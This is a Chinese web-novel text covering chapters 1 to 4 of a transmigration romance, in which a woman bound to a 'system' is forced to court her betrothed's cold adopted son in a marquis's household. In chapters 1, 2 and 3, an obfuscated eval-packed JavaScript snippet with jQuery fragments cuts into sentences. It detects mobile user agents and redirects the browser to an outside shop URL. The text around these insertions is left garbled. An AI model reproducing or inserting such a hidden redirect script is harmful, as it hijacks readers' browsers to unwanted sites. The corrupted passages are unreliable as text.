《高岭之花把玩指南》 1. 第 1 章 永定侯府的最西边,是族内祠堂。 此时正是丑时,府内人大多已经入睡。 祠堂内燃着两排红烛,在堂内的正中心,供奉着先祖牌位。 地上的女人悠悠转醒,烛火映照着她苍白的侧脸,单薄的身子因寒冷瑟缩了一下。 叶冬知摸着抽痛的额头,从地上坐起来,打量周围陌生的一切。 脑子里不停响起一阵奇怪的机械音。 这道机械音自称自己是系统,而她正是被系统千挑万选的宿主。 她来到这里只有一个目的,就是攻略成功邬涟,便可回到现实世界。 她勉强站起身来,周围讲究的陈设和阔气的建筑显示出此府邸主人身份的不凡。 在原地愣了半天,叶冬知才勉强接受自己被绑定了的事实。 她尝试在心里呼唤系统,想询问更多,但却没有回应。 该死。 只说攻略邬涟。 这人是男是女,身份如何,她现在这个身体身份如何,一概不知。 她本来只是一个普通的社畜,加了两个月班好不容易迎来升职机会,并且将会有一笔六位数的年终奖。 统统都被这该死的系统毁了。 正想着,肚子传来一阵“咕咕”声,极度的饥饿令她胃中绞痛。 叶冬知叹了口气,也不知道原身被饿了多久,当务之急,是先找点吃的。 打量了一番后,她看见了牌位前的贡品。 精致的糕点,新鲜的水果。 她咽咽口水,正要伸手去拿。 “吱呀”。 厚重的门被推开,发出沉闷的声响。 一道月光从门口倾泻而下。 朦胧的月光中,立着一个颀长挺拔的身影。 叶冬知扭头眯眼去看,发现是一个年轻男子。 对方身量很高,即便在昏暗的屋内,他身上的衣裳依然在烛光下流转着细微的光泽,没有任何一处褶皱。 往上,是一张隐在阴翳中的脸。 叶冬知不由得微微瞪大眼睛。 对方的眉眼生得极为漂亮。瞳仁极黑,眼尾的睫毛静静垂着,挺鼻薄唇。 由于微微抿唇,上唇的唇珠也被紧紧压住,显得唇角十分平直。 好清冷古板的人。 对方开口了,音色也如人一般冷淡克制: “三日已到,往后你再生出逃跑之意,我不会手下留情。” 冰冷的话响彻在寂静的祠堂内,不难听出里面浓浓的警告之意。 此时,脑中响起了系统的声音: 【目标人物出现,任务启动。】 叶冬知在心里缓缓扣出一个问号。 天崩开局吗? 依她看,这个任务对象明显对她不太友好啊。 没等到回答,邬涟也不恼,他往内走了几步,继续道: “你与义父已有婚约,此乃你父母临终前所托,虽还未下聘,但为事实。” “纵使你不愿意,可父母之命不可违,若还有下次,便不是关进祠堂这般简单。” 一番话冷漠无情,不容置喙。 话落,他转身离开,对于她脸上的怔愣和迷茫,亦视而不见。 听到此处,叶冬知才算明白了个大概。原身是因为不愿嫁给他义父,才逃跑,却中途又被抓住关进了祠堂反省。 邬涟离开不久,便有一个丫鬟来寻她。 小丫头名阿蔷,长得很水灵,一进祠堂见她这幅样子,就忍不住啜泣起来: “小姐,大公子也太不近人情了,明明知道小姐是被人所骗,竟然还关了你三天禁闭,也不给吃喝,奴婢想给你送吃的也找不到法子,幸好你没事。” 哪是没事,原身已经被活活饿死了。 回了院子后,叶冬知才搞清楚来龙去脉。 原身父亲曾是永定侯副将,原身双亲意外死于一场敌军的埋伏,从此原身变成了孤女。 原身父母临死前,将原身托付给永定侯邬镇庭。这邬镇庭大原身两轮,年纪都能做原身的爹了,是以,他本想拒绝,却拗不过好兄弟的嘱托,最后只得应下。 但事实真相如何,因死无对证,倒是不得而知了。 也有许多人猜测,原身父母根本就没想过将如花似玉的闺女嫁给这人到中年的邬镇庭,是他自己贪恋兄弟女儿的美貌,为了掩盖他龌龊的心思,才编了这么一通。 但也有人说,邬镇庭乃朝廷重臣,向来重信守诺,不可能做出这等荒唐之事。 可原身却对前者的猜测深信不疑,听闻自己莫名其妙要嫁给这邬镇庭,又哭又闹,想尽办法逃跑,但都被邬涟给抓住。 直到三日前,有一男子称自己有办法助她离开,约她夜半时分在西湖相见。 原身避开重重守卫终于与男子相见,可那男子只是馋她的美貌,想要趁机玷污一番,再将她推到湖中溺毙,到时死无对证。 却不料男子的妻子暗中跟随,发现二人相会之后大吵大闹,将原身推入湖中。 正巧邬涟带人赶到才救下了原身。 为了让原身熄灭心思,邬涟将原身关进祠堂,罚了三天禁闭。 用了宵夜填饱肚子后,叶冬知才有心思躺在床上仔细琢磨今日发生的一切。 她的攻略对象邬涟,乃永定侯收养的义子。 自小聪慧过人,才学出众,年纪轻轻就已坐上了刑部侍郎的位置,乃是天子臂膀。 偏偏他又生得神仪仙姿,惹得京中不少闺阁小姐芳心暗许。 奈何他生性冷淡持重,又以严谨律己著称,至今没有女子敢接近他。 幸而现在永定侯还镇守在北疆未回京,她还有时间完成任务。 想了很久,她也没想到如何找到突破口,索性先睡一觉。 * 一觉醒来已经天光大亮。 叶冬知睁开眼,阿蔷便唤道: “小姐,快些起来吧,老夫人等会要见你呢。” 叶冬知在原身的记忆里搜索了一下老夫人的有关信息。 身为战功赫赫的永定侯的生母,这位老夫人自视甚高,最重视教养和体面。 如今原身闹出这么大的事,肯定会被狠狠敲打一番。 草草用了早膳,叶冬知便由着阿蔷给她穿衣上妆。 原身长得很漂亮,皮肤瓷白,柳叶眉,勾人眼,琼鼻小巧,唇不点而赤,饱满莹润。 身段更是娇柔,削肩柳腰,一举一动皆惹人怜惜。 难怪。 便是都知道她与永定侯的关系,仍然有不怕死的男人觊觎她。 老夫人喜清净,她住在府中的最东边。 从叶冬知所居住的兰心居赶过去,有好长一段路。 这段路上有一处桃林,此时正是三月,桃花开得正盛。 女子的嬉笑声从桃林内传来。 阿蔷看了一眼,便嘟囔说:“走吧小姐,是三小姐和她的丫鬟,她素来不喜欢您,待会被她看见,她又得针对您。” 叶冬知顺着阿蔷的视线看去。 桃林里有三个女子,其中两个着丫鬟装束,一个穿着桃粉色襦裙,发髻精致,神情倨傲,被丫鬟簇拥着,正采摘树上的桃花。 这是府中庶女邬雯,出自姨娘张氏,还有一个亲兄长,排行老二。 还没等离开,邬雯眼尖,一下便看见了不远处的叶冬知。 她目光顿时沉了下来。 又是这个狐媚子。 仗着有几分姿色,天天勾得兄长神不思蜀,偏还做出一副清高样子,也不知装给谁看。 本来她的姨娘育有一子一女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525144|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是最有可能被抬为正室的,届时她与哥哥便再也不是庶出。 哪知凭空出现个叶冬知,白白让她唾手可得的前程尽废! 前几日本还以为她淹死了,没想到能活到现在,真是命大。 但她在府中向来以温婉示人,思及此,邬雯便甜甜唤道: “呀,原来是叶姐姐,真巧,你也要去祖母那里吗?不如我们一起?” 既然被发现,叶冬知索性不避。 她微微点头。 邬雯走到叶冬知身侧,看清对方穿的衣裳,眼中厌恶更甚。 她安的什么心思?明知道自己最爱桃粉色的襦裙,她就偏偏要跟自己穿一样的,好压过自己一头是吗? 邬雯心中越想越气愤,于是她伸出脚,一脚踩在了叶冬知裙摆之上。 猝不及防的叶冬知身体一滞,很快反应过来,但原身实在身体太弱,想要稳住身体也不可能,只好在摔倒之前用手堪堪撑住。 粗粝的地面划过手掌,传来一阵刺痛。 她低头一看,手心鲜红一片。 叶冬知不是原身,向来是有仇必报,她二话没说狠狠踩了邬雯一脚,然后露出一个无辜、惊慌失措的表情: “对不住啊,刚脚打滑了。” 邬雯没想到往日软弱的叶冬知竟然敢还手,气得胸膛上下起伏,她指着叶冬知:“你......你.......” 但叶冬知却没空理会她,因为脑中又响起了那道机械音: 【任务目标出现,请吸引目标注意。】 桃林的尽头是一处拱门,两旁墙壁垂满了蔷薇。 雕花拱门之下,一道身影静静立在原地。 春光实在好,半缕阳光倾泻在邬涟脸上,他抬起瞳仁,目光无波地看过来。 邬雯像是有了底气。 邬涟虽与她没有血缘关系,但向来公正,定会为她做主。 于是,她急忙道:“长兄!叶冬知心思恶毒,刚故意踩了我一脚,我现在脚已经痛得不能动了!” 邬涟已经站在原处看了好一会,谁是谁非他清清楚楚。 他视线略过气愤的邬雯,落到一侧的叶冬知身上。 换做以往,叶冬知脾气直,早就与邬雯据理力争。 可今日,她却一直垂着头,不知在思索些什么。 她今日着桃粉襦裙,头发挽起,鬓间插着一支桃花簪子,两缕碎发垂落在粉腮边。 半晌,她微微抬起头,略有湿润的长睫像被水打湿的蝴蝶,道: “今日之事是三小姐欺负我在先,故意踩住我的裙子绊倒我。”说着,她将手心翻开,纤细白嫩的手心全是血渍。 “若要惩戒,我无话可说,但求大公子连同邬雯一起惩戒!” 邬雯瞪大了眼,她没想到叶冬知索性就承认了,还要拉着自己下水,一时不知如何是好。 邬涟微微皱眉,有些意外。 片刻后,他才道:“罢了,都各自换身衣裳,别让祖母等太久。” 这便是懒得追究的意思。 邬雯理亏,只得跺了跺脚,哼了一声快步离去。 邬涟也向自己的院子走去,并不想在此多待一刻。 眼见目标即将离开,但是系统仍然没有提示任务完成。 叶冬知一咬牙,快走几步,伸手抓住了他一侧宽袖。 入手的布料触感细腻冰凉,就如眼前这人一般。 邬涟脚步一顿,身体微不可查地一僵。 他转过身来,礼貌而迅速地挣开叶冬知的手。 “你还有事?” 叶冬知垂头思索着理由,须臾后抬起头,语气中带着点恰到好处的忐忑和轻颤。 她轻咬唇瓣,似乎有几分娇羞,“其实......其实,我是专程在这里等你的。” 2. 第 2 章 声音很小,因为两人离得近,才勉强能听清楚。 叶冬知整个人被笼罩在邬涟的影子里,对方默不作声,但能隐约感受到他的视线落在她的头顶。 “为何?” 周遭空气沉默了片刻,邬涟淡声道了两字。 她哪有什么原因。 她眼神飘忽,落到方才被她抓住的宽袖,上面已经染上了星星点点斑驳的血迹。 落在邬涟这样不染尘埃的人身上,仿若谪仙蒙尘。 良久,叶冬知终于找到了一个还算过得去的借口。 “我想向你当面道谢,那日,你从湖水中救了我。” 邬涟闻言,只冷声道:“不必,职责所在。” 见此,她继续道:“我不会再继续逃跑了,你可以放心,我会安安分分待在府里。” 听到此处,邬涟的神色才有些波动。 他探究地看了一眼面前的女子,“如此甚好。” 【叮!恭喜宿主完成任务!】 叶冬知在心里长舒一口气,目送邬涟离开。 * 邬涟住在府中最南,院子旁有一大片竹林,环境很是清幽。 他走进卧房,将身上的衣衫给换下。 长安抱着袍子,看着袖口那处污渍,皱着眉道:“公子,这处血迹怕是洗不干净了,洗了也会留下痕迹。” “烧了。” 冷不丁自房内传来一句话,长安愣了愣,有些怀疑自己听错了。 “公子,这么好的料子,真要烧了呀?” 邬涟换了一身袍衫,他想起之前那布满血迹的手掌,眉间罕见地现出几分嫌恶,“烧了。” 这会长安确定自己听清了,也没再询问,抱着衣衫走出了房门,有些可惜地叹了口气。 从老夫人处回来后,叶冬知早早便睡下了。 如她所想,老夫人古板严厉,倒是与邬涟如出一辙。 先是将她训斥了一番,继而勒令她不可生出其他心思。 睡到下半夜,叶冬知起身如厕。 从床架边随手拿了一件外裳披上,完事以后,她便顺着原路返回。 刚一踏出两步,便听见自不远处有一阵轻重不一的脚步声传来,隐约夹杂着哭声和求饶声。 她顺着声音走过去,便自走廊处的尽头看见了由远及近的几个人,皆手提着灯笼,身后几个壮实的家丁押着两个人,似乎是一男一女,都衣衫不整。 看过热闹,她拢着衣裳欲转身回去。 却不料刚一转身,便见到一截鸦青色袍衫,视线往下是一双墨青色锦靴。 檀香裹着清冷的气息扑面而来。 这是今日叶冬知第二次见到邬涟。 兴许是来得匆忙,他尚未束发,满头的墨发只用一根发带松松垮垮地绑在脑后,因此遮住两侧的光线,在夜色下显得更加朦胧。 他单手提着一只灯笼,从灯笼中透出的光亮映着他的手指,修长且骨节匀净。 邬涟的视线沉默地落在叶冬知身上,在昏黄的烛光照耀下,她的身形愈发显得纤细孱弱。 她穿着寝衣,外面披着一件外裳,双手用力裹住的地方,隐约勾勒出细腰丰臀的轮廓。 此刻,她衣裳单薄地站在廊下,眼中波光盈盈,像是志怪小说中的妖魅。 家丁们看得眼睛都直了。 邬涟不发一言,视线从她身上毫无停留地越过,接着便提着灯笼朝前走去。 偏在这时,叶冬知立在原地的身子猛地一僵,脑中的声音不带感情地响起: 【攻略目标出现,发布任务:假装摔倒以博取目标同情。】 她往地上瞥了一眼,地板冰凉坚硬,磕上去肯定生疼。 脑中才刚生出抗拒,一股电流顿时穿过全身,痛得她霎时眼前一花,站立不稳。 【警告警告!检测到宿主拒绝执行任务!将对宿主进行惩罚!】 混乱中,她凭借着本能伸手一抓。 撕拉—— 只听得一阵布帛撕裂的声音,她便重重摔倒在冰凉的石板之上,而眼前,正是那双墨青色锦靴。 气氛顿时凝滞,甚至能听见周围家丁倒吸凉气的声音。 心悦邬涟的世家小姐不少,却从未有人行径如此大胆。 叶冬知被摔得头晕眼花,身上隐隐作痛。 她下意识抬头,撞入一双瞳色极黑的眼睛。 那双眼的神色平静,但她依然敏锐地捕捉到一闪而逝的鄙夷和不屑。 邬涟垂头,目光落到自己被大力扯坏的衣摆,还有他面前摔倒的女子。 许是动作过大,她的外裳早就跌落在一旁,里面的寝衣领子也微微敞开,几缕发丝钻进其中,那片肌肤几乎白得晃眼。 邬涟静静凝视了她一会,抬脚准备绕过她。 这般拙劣的演技,他早已司空见惯。 此前她曾说不会再打逃跑的主意,看来不过说说而已。 只是这次,她的主意打到了他的身上。 眼见对方要离开,叶冬知一鼓作气,伸手抓住他的衣角,在对方视线投下时,露出一个半是胆怯半是无辜的表情。 “大公子,我好疼,你能扶我起来吗?” 夜色静谧,廊下女子的声音媚得如吃人的女妖。 邬涟的眼神仍然平静无波,他朝着长安道:“你扶她起来。” 长安点头称是,在触及到女子时,却被其躲开。 本来说出这种话已经足够令人羞耻,但在回家这个奖励面前,脸面不值一提。 叶冬知略一闭眼,豁了出去。 她扬起细长脖颈,直勾勾地盯着面前的人,语气比之方才更为大胆,卸掉了几分羞怯,赫然有了些许直白的引诱。 “大公子,我不想让其他人碰我,我只想要你。” 话落,身后的家丁脸臊得通红,连呼吸都粗重了几分。 邬涟的神情被笼在阴影之中,看不清晰,唯有他的唇几不可察地轻扯一下。 “呵。” 这一声几乎浅到叶冬知以为是错觉。 然而下一刻,在众人惊愕的目光下,却见邬涟向前半弯了身子,一只手握住叶冬知的手臂,以一种算不上温柔的姿势,将她从地上拽了起来。 隔着单薄的寝衣,女子的臂膀柔软纤细,仿佛稍一使劲,便能被轻易折断。 这一下有些突然,叶冬知被一股大力提了起来,还未站稳,对方便迅速收了手。 眼见她一个趔趄要往自己身上倒去,邬涟快步后退两步,眼睁睁看着她撞在了一旁的柱子上。 “砰——” 清脆的响声过后,是女子呼痛的声音。 【叮!恭喜宿主,任务完成!】 等叶冬知回过神来,对方早已走远,只留下一个背影。 步履从容,身姿如松。 还真是君子。 一夜难眠。 次日醒来时,阿蔷见到叶冬知眼下的乌青,便有些担忧,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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从兰心居到老夫人住的万福堂要经过一截幽深的小路,两侧的树木高大,林荫丰厚。细石子铺成的小路,上面留下许多拇指大小的小坑,正聚着许多雨水。 今早下了雨,空气中荡着一股寒气,然寒气之中却夹杂着一股浓烈的酒气。 身后蓦地传来一道高喝: “前面那个丫鬟,给本少爷站住!” 叶冬知心头一跳,环视了周围,发现除了自己再没有其他人。 她不敢答话,只背着身子继续往前走。 身后的男子见叶冬知竟然越走越快,当即便怒了。 他大声嚷道:“就是说你呢!本少爷叫你没听见?耳朵聋了?” 叶冬知垂着头,心中有些害怕,便开始跑了起来。 身后的男子见状追了上来,一把揪住她的衣摆,绕到她身前,待看清她样貌之后,浑浊的双眼顿时绽放出异彩。 他嘴唇动了动,“竟是个美人!你家小姐是谁,我去向你主子将你讨来。” 今日叶冬知穿了件素净的衫子,头上也只有两根簪子,看起来确有几分寒酸。 叶冬知闻言,脸色白了一分,正欲掉头就跑,可谁知那人竟然一把拽住她的胳膊,将她往怀中拉。 口中的酒气也尽数喷在她脸上。 她又急又恶心,急中生智狠狠踩了男子一脚。 那人吃痛,松开了紧紧攥着她的手腕,顾不得许多,叶冬知提起裙摆,使尽全力朝着前方宽阔的地方跑去。 等跑至回廊一处拐角,一心只顾着脚下,闷头狠狠撞上了来人。 她捂着脑袋抬头,撞入一双瞳色极黑的眼睛。 与此同时: 【叮!任务目标出现,发布任务:寻求目标帮助,并借机报答。】 3. 第 3 章 女子柔软温热的躯体与他紧紧相贴,似乎能隔着衣料感受到其中熨帖的温度。 邬涟身子一怔。 眸中也迅速蹿出一抹恼怒。 他垂眸,低头看向怀中愣愣扶住他腰肢的女子。 她今日着了一身鹅黄的褙子,两侧的头发因奔跑散落些许在身前,发梢无意地搭在他握着卷宗的手上。 从他的视角,恰好能看到她极白的肤色上,两颊桃花一般的殷红。 她的眼睫轻轻颤着,眼神惶恐不安,开口时语气慌张: “大公子!有登徒子轻薄我!” 邬涟抬头,果然看见不远处一男子正一瘸一拐地追过来,口中还骂着一些难以入耳的脏话。 他本想推开她,但他又不愿意触及到她的身体。 他能感觉到她的手心正贴着他的腰身,随着她身体轻微的颤动,掌心在他腰腹间摩挲出些许燥意。 微微闭了闭眼,他方道:“叶小姐,还请松开我。” 闻言,叶冬知局促地睨他一眼,但还是识趣地松了贴住他腰身的手,改为绕在他身后,牵着他的衣角。 叶冬知被绑定前也未经历过这样的事,一时间被吓得有些懵,只躲在他身后嗫嚅道: “他过来了......” 那厢,男子已经追了上来,他步履不稳,醉气熏熏的脸上在见到邬涟的时候有一瞬间的呆滞,他扫过躲在邬涟身后的叶冬知,颇有些恼羞成怒道: “你个贱婢,还不快滚出来,要是不识趣,本公子待会要你好看!” 邬涟眉峰微蹙,对着面前的男子喝道:“阁下是谁?侯府不是你寻欢作乐的地方。” 醉酒的男子是姨娘张氏的亲侄子张通,自幼长在吴郡,嚣张跋扈,没少借着侯府的名头惹是生非,而吴郡地势高耸偏僻,消息不发达,张通此次是第一次来京都,故只听闻过邬涟的名号,却并不识得其人。 张通讥笑了一声,打了个酒嗝,向前一步,懒洋洋道:“本少爷可是侯府夫人的亲侄子,你又算哪根葱?还不赶紧让开!” 姨娘张氏心气高,在娘家人面前常以永定侯继室的身份自居,因为在她看来,她扶正只是早晚的事。 此言一出,邬涟能感觉到他的衣衫似乎是被人攥得更紧,他微不可见地抿了抿唇,看向张通的眼神不自主地带上了几分怒气。 不过不是因为眼前嚣张跋扈的男子,而是因为身后频频冒犯他、行为大胆的女子。 邬涟在檐下沉默片刻,忽见对面跑来一个小厮打扮的侍从。 他甫一见到邬涟便主动垂下了头,再扫过一旁胡言乱语的张通,顿时吓得魂飞魄散。 他怎么一会没注意,这张通便跑出去了,看样子还偏偏惹上了大公子。 小厮连忙恭敬道:“见过大公子,这是张姨娘的侄子,因喝了点酒,冒犯了大公子还请大公子见谅,奴才这就将人领回去。” 见邬涟微微颔首,小厮扶着张通赶忙向着张氏的院子走去。 危机解除,叶冬知松了口气,紧紧攥住邬涟衣角的手也放开了。 她垂眸扫过皱成一团的衣角,伸出手试图去慢慢抚平它。 却不料邬涟身子动了动,那块衣角便自她的手中滑了出去。 他俯视着她,眸色平静:“你可以走了。” 叶冬知低头不语,几息之后才重新抬起头来,脸上绽出一抹腼腆而又羞涩的笑。 她眼瞳清澈却妩媚,此时直勾勾地盯着邬涟墨色沉沉的双眼,耳尖发烫,羞耻地说出系统指定的话: “若不是大公子相救,想必我此时已经遭人羞辱。按理来说,我应当好好报答大公子。” “报答”二字她说得极缓,硬是让人听出两分不寻常的暧昧来。 只可惜邬涟不为所动,端的是风姿高洁,连眼神都没有波动一分。 他视线落在她微微开口的唇上,随之克制地移开,“不必。” 叶冬知维持着面上的笑意,脑中系统适时地又飘过一句话。 她顿时如遭雷击,这种话,她怎么说得出口? 可慑于系统的威力,叶冬知一咬牙,终是说了出来。 “都说滴水之恩应当涌泉相报,那救命之恩,是不是该.......以身相许?” 说完,叶冬知便面上一阵发烫,两颊上的红晕又溢了出来,她绷着一口气,几乎是咬牙说完了最后几个字。 “涟哥哥?” 声音仍旧是细细软软的,带着股不自知的撩拨。 这番话落在邬涟耳中,简直是大逆不道、淫.词浪语! 作为人人称道的世家楷模,超尘脱俗的谪仙,白璧无瑕的永定侯大公子,哪能容忍这番! 义父戍边,府中的人碍于他的威势从来都是规矩守礼,像叶冬知这般不知羞耻的女子简直是闻所未闻! 而且。 他视线扫过她莹润的唇,带着微朦水汽的勾人的眼,罕见地蹙了眉头。 侯府未来的主母,当端庄得体,怎可是这样一个惯会引诱人的妖魅。 他手掌不由自主地攥了攥,再开口时颇有苛责之意。 “叶小姐若是不懂何为礼教人伦,不如再去祠堂关几天禁闭。” 说完这一句,他便不理会叶冬知,径直朝着回廊另一侧走去。 叶冬知在身后目送着他远去,才回过神来,脸上涌起一股燥意。 妈呀,真是虎狼之词。 这个系统是正经系统吗? 冷静片刻后,她朝着万福堂走去。 到了之后,有丫鬟打了帘子。 叶冬知才进门,便感觉到好几道视线落在了她的身上,气氛陡然变得肃穆起来。 她抬眼望过去,只到堂中坐着三个人。 坐在上座的是老夫人,甫一见她进来,神色就略微沉了几分,目光不善地落在她的身上。 分坐在两侧的是邬雯、以及府中二少爷邬彦。 邬雯见到叶冬知进来,微垂着头,露出的半截玉颈实在是晃眼得很,她侧目看向自己的兄长,一双眼睛都看直了,正毫不避讳落在那处裸露的皮肤上。 她在心中冷哼一声。 风从门口吹进来,叶冬知正好站在风口处,裙摆便随之荡漾起来。 老夫人一双吊角眼微微眯着,不动声色地上下打量着叶冬知,见她发髻微微散乱,有几缕贴在脸颊两侧,一双勾人的眉目中似乎还有未褪去的惊惧,殷红的唇微微抿着,弱不胜衣,浑然天成地便有一股风流韵致,让人我见犹怜。 她眉头顿时皱了起来。 果真是个祸水。 这几日府中传出些她与邬涟的风言风语,依她看来,邬涟这些年都一直洁身自好,克己复礼,定是不屑于去做那出格的事,那定是这叶冬知蓄意勾引,没爹没娘的人,教养确实差了些。 先不说叶冬知本人如何,就她嫁给侯爷做继室,她是一万个不同意的,这要家世没家世,要背景没背景,给侯爷当妾都是高攀了。 思及此,她的语气也不善了起来,语气中带着敲打的意味:“叶丫头,想来不用老身说,你也是清楚自己身份的,侯爷已经来信,今年年底就会回京。” 叶冬知不是傻子,哪能听不出来,于是敷衍地点点头,“是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525146|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老夫人。” 从老夫人的角度看过去,她眉微蹙着,整张脸看起来很是顺从,老夫人的脸色稍霁。 叶冬知抬起头,就要退下,却无意间感受到一道不懂遮掩的、强烈的视线。 她顺着望过去,发现是府中二公子邬彦,约莫十七八岁,长得清秀俊朗,正直勾勾盯着她瞧。 像是不曾想到会与叶冬知的视线撞个正着,那少年顿时脸就红成一片,别过头去,不敢再看叶冬知。 * 邬涟回了房中,心头那股被人戏弄的恼怒仍在。 她是什么身份,是义父未过门的妻子,是他未来的义母,侯府的主母,她怎么、怎么敢说出这种话? 还那样不知羞耻地称呼他。 他暗自羞恼着,面上却未露出分毫,唯有手中的卷宗被不自觉地攥紧。 是以,当长安提着鸟笼回房时,便见那本卷宗已经被邬涟紧紧捏成一团。 长安惊了一下,进去也不是,出去也不是,犹豫了半晌试探着问道:“公子,怎么了?” 邬涟不语,松了手中的卷宗,拿手指按了按两侧的太阳穴,才道:“无事。” 闻言,长安放了心,便将手中的鸟笼提至邬涟跟前,道:“公子,花鸟房那边说了,这回墨青再不会乱飞了,已经好好调教过了。” 墨青是邬涟养的一只云斑鹦鹉,本来性格温敦,可最近却不知怎的躁动了起来,成日绕着院子乱飞,还一边叽叽喳喳乱叫。闹得邬涟实在是受不了,这才又送到了花鸟房,说是调教好了再送过来。 顺着长安的话,邬涟将目光投向了他手中的鸟笼,只见其中一只浑身鹅黄的毛茸茸的鸟儿,正直勾勾盯着他。 他脑中突然划过一个人,那双眼睛也是这般,总是大胆而放肆地盯着他瞧。 邬涟抿了抿唇,视线从鹦鹉的身上移开。 长安见主子似乎兴致缺缺,便接着找些话头道:“公子,您不知道,今日奴才去的时候,才知道墨青这些天被一只鹦鹉给狠狠欺负了,才这般老实的,据说那只鹦鹉是花鸟房里最凶的,如今被人领走了。” 顿了顿,长安蹙了蹙眉,似乎是想起来了,又接着道:“哦!听说就是叶小姐领走的。” 邬涟敛眸,片刻之后才道:“先把墨青带下去罢。” 叶冬知回去时,正碰见几个丫鬟,手中皆端着木盆,看样子是浣衣房的丫鬟。 其中一个丫鬟与身边的人说笑,没注意脚下,便一不留神摔了一跤。 端着的木盆一下子脱了手,上好的衣衫自盆里散落出来。 另一个连忙放下木盆将摔倒的丫鬟拉起来,道:“平儿,你可得小心点,你这端的都是大公子换下来的衣衫,用料金贵着呢,要是不小心划破了,可有你兜着走的。” 叫做平儿的丫鬟摔疼了也不敢吭声,随手抹了把眼泪,连忙将散落到地上的衣裳仔细拍了拍,放回了木盆里。 “我知道呢,灵儿姐。” 灵儿又叹了口气,接着叮嘱道:“等会到浣房仔细检查检查,府里人都知道大公子喜净,听说上一次他有件衣裳被人染上了血迹,大公子嫌弃得可是连衣裳都烧了。” 丫鬟说话的声音不大不小,正巧被叶冬知听见,她脚步一顿。 叶冬知定在原地,想起一个月前,邬涟那件袍子正是被染上她的血迹。 呵。 她轻笑一声。 果真是白璧无瑕啊。 若说之前她还是不情不愿被系统逼着做任务。 那现在她倒是有些期待这般高洁,自诩清高的人,若真是动了心,又会是什么样子。 4. 第 4 章 入了夜,白日老是大声叫着“吱吱”的“吱吱”,晚上却莫名地没有了声响,阿蔷四处找不得见,惊醒了榻上浅眠的叶冬知。 叶冬知睡眼惺忪地从榻上撑起半个身子,哑声问道:“怎么还没睡?” 阿蔷一顿,才苦着脸回道:“小姐,知知不见了,不知道飞到哪里去了,奴婢还在找呢。” “明日再找,左右在府中丢不了的。” 叶冬知淡声道。 闻言,阿蔷思索片刻也点点头。 而此时,府中东边的一处厢房中,时不时传来一阵鹦鹉尖锐的叫声。 长安披着衣裳起来,点了蜡烛,在微弱的灯光中,见着一只浑身翠绿,脑袋是红色的鹦鹉,正站在一侧的柜子上。 它高高扬着脑袋,不时扫一眼桌子上的鸟笼中的墨青,还时不时发出“嘎嘎”的声音警告。 长安提着灯隔近了看,被吓了一跳。 只见墨青垂着脑袋,一身羽毛被拔得七零八落,缩着身子正躲在笼子的角落。 看墨青这幅样子,长安便知道那只浑身翠绿的鹦鹉便是在花鸟房时常欺负墨青的那一只。 就在这时,站在柜子上的吱吱却突然一个俯冲下来,将笼子里的墨青吓得魂飞魄散。 房里顿时乱做一团,门外传来一阵脚步声,长安回头看去,见邬涟穿着一身寝衣,披着一件外裳,站在门口。 神情带着点倦意:“怎么回事?” 长安回:“公子,这突然飞来了一只鹦鹉,正欺负墨青呢。” 邬涟抬眸看去,果不其然,只见墨青在笼子里凄惨不堪,全身的羽毛被拔了一地,哪还有平日里的意气风发。 “这是哪里飞来的?” 长安又道:“这应该是叶小姐院子里的。” 两人正说话之时,吱吱却停了欺负墨青的动作,一双褐色的眼珠子盯着邬涟看了一会,不知怎么竟突然张开翅膀朝着邬涟飞了过来,看架势,似乎是想啄邬涟。 长安被惊得愣在原地,就在吱吱朝着邬涟的脸啄去之时,然而下一秒,气势汹汹的吱吱却被邬涟面不改色地一把抓住了身子。 吱吱动弹不得,只得从嘴巴里不断发出叫声: “吱吱——吱吱——” 邬涟的手微微滞了滞,敛眸去看手中的鹦鹉。 知知? 寻常人哪会用自己的名字给畜生取名字? 吱吱折腾了一会,发现自己始终无法逃脱这个人类的手掌心,便识趣地低了头,拿脑袋上的羽毛去蹭邬涟的手心。 柔软的、痒痒的。 同女子的发丝拂在手心上有异曲同工之妙。 不知想到了什么,邬涟眸色微沉,掌心瞬间收紧,攥得吱吱又凄怨地叫了起来。 他心下生出些许摸不到由头的烦躁,打开鸟笼,将吱吱丢了进去。 邬涟借着微弱的烛光扫了扫笼子,才拢了拢身上的外裳道:“明日叫兰心居的人来领。” 次日。 叶冬知带着阿蔷来领鸟。 长安将两人领到一侧偏厢房,打开门一看,桌子上放着一个金丝掐丝鸟笼,而里面正关着两只鹦鹉。 一只正瑟瑟地缩在笼子一脚,大大的眼睛中有着深深的恐惧,而另一只则是吱吱。 吱吱经过一晚上的反思,已经恢复了从前的昂扬斗志,正悠闲地在一旁整理自己的羽毛。 叶冬知看见一地飘扬的羽毛,便知道昨夜发生了怎样的惨况。 她看着吱吱,吱吱也看着她,一时间叶冬知心中竟生出几分报复的快感来。 拿邬涟没办法,拿他的鸟还没办法吗?吱吱欺负了墨青,不是间接地算她欺负了邬涟吗? 于是她将手伸进笼子,顺了顺吱吱的毛,小声夸赞道:“做得好,吱吱。” 可就在这时,身后的长安却突然出声了,他好奇地问道:“叶小姐,您刚刚说什么呢?” 